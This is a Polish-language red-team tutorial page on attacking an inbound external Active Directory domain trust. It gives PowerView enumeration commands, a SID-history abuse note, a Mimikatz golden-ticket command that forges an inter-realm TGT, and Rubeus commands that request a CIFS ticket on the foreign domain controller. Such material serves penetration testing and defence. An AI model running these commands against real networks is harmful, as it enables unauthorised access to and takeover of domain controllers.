W tym scenariuszu zewnętrzna domena ufa tobie (lub obie sobie ufają), więc możesz uzyskać jakiś rodzaj dostępu do niej.
Enumeracja
Przede wszystkim musisz enumerowaćzaufanie:
Get-DomainTrustSourceName : a.domain.local --> Current domainTargetName : domain.external --> Destination domainTrustType : WINDOWS-ACTIVE_DIRECTORYTrustAttributes :TrustDirection : Inbound --> Inboud trustWhenCreated : 2/19/202110:50:56 PMWhenChanged : 2/19/202110:50:56 PM# Get name of DC of the other domainGet-DomainComputer-Domain domain.external -Properties DNSHostNamednshostname-----------dc.domain.external# Groups that contain users outside of its domain and return its membersGet-DomainForeignGroupMember-Domain domain.externalGroupDomain : domain.externalGroupName : AdministratorsGroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=externalMemberDomain : domain.externalMemberName : S-1-5-21-3263068140-2042698922-2891547269-1133MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,DC=external# Get name of the principal in the current domain member of the cross-domain groupConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133DEV\External Admins# Get members of the cros-domain groupGet-DomainGroupMember-Identity "External Admins"| select MemberNameMemberName----------crossuser# Lets list groups members## Check how the "External Admins" is part of the Administrators group in that DCGet-NetLocalGroupMember-ComputerName dc.domain.externalComputerName : dc.domain.externalGroupName : AdministratorsMemberName : SUB\External AdminsSID : S-1-5-21-3263068140-2042698922-2891547269-1133IsGroup : TrueIsDomain : True# You may also enumerate where foreign groups and/or users have been assigned# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
W poprzedniej enumeracji stwierdzono, że użytkownik crossuser znajduje się w grupie External Admins, która ma dostęp administratora w DC zewnętrznej domeny.
Wstępny dostęp
Jeśli nie mogłeś znaleźć żadnego specjalnego dostępu swojego użytkownika w innej domenie, możesz wrócić do Metodologii AD i spróbować privesc z użytkownika bez uprawnień (rzeczy takie jak kerberoasting na przykład):
Możesz użyć funkcji Powerview do enumeracjiinnej domeny używając parametru -Domain, jak w:
Możesz również nadużywać historii SID w ramach zaufania lasu.
Jeśli użytkownik jest migrowany z jednego lasu do drugiego i filtracja SID nie jest włączona, możliwe jest dodanie SID z innego lasu, a ten SID zostanie dodany do tokena użytkownika podczas uwierzytelniania w ramach zaufania.
Przypominamy, że możesz uzyskać klucz podpisu za pomocą
Możesz podpisać z zaufanym kluczem TGT, udając użytkownika bieżącej domeny.
# Get a TGT for the cross-domain privileged user to the other domainInvoke-Mimikatz-Command'"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators groupRubeus.exeasktgs/service:cifs/dc.doamin.external/domain:dc.domain.external/dc:dc.domain.external/ticket:C:\path\save\ticket.kirbi/nowrap# Now you have a TGS to access the CIFS service of the domain controller
Pełne sposoby na podszywanie się pod użytkownika
# Get a TGT of the user with cross-domain permissionsRubeus.exeasktgt/user:crossuser/domain:sub.domain.local/aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80/opsec/nowrap# Get a TGT from the current domain for the target domain for the userRubeus.exeasktgs/service:krbtgt/domain.external/domain:sub.domain.local/dc:dc.sub.domain.local/ticket:doIFdD[...snip...]MuSU8=/nowrap# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators groupRubeus.exeasktgs/service:cifs/dc.doamin.external/domain:dc.domain.external/dc:dc.domain.external/ticket:doIFMT[...snip...]5BTA==/nowrap# Now you have a TGS to access the CIFS service of the domain controller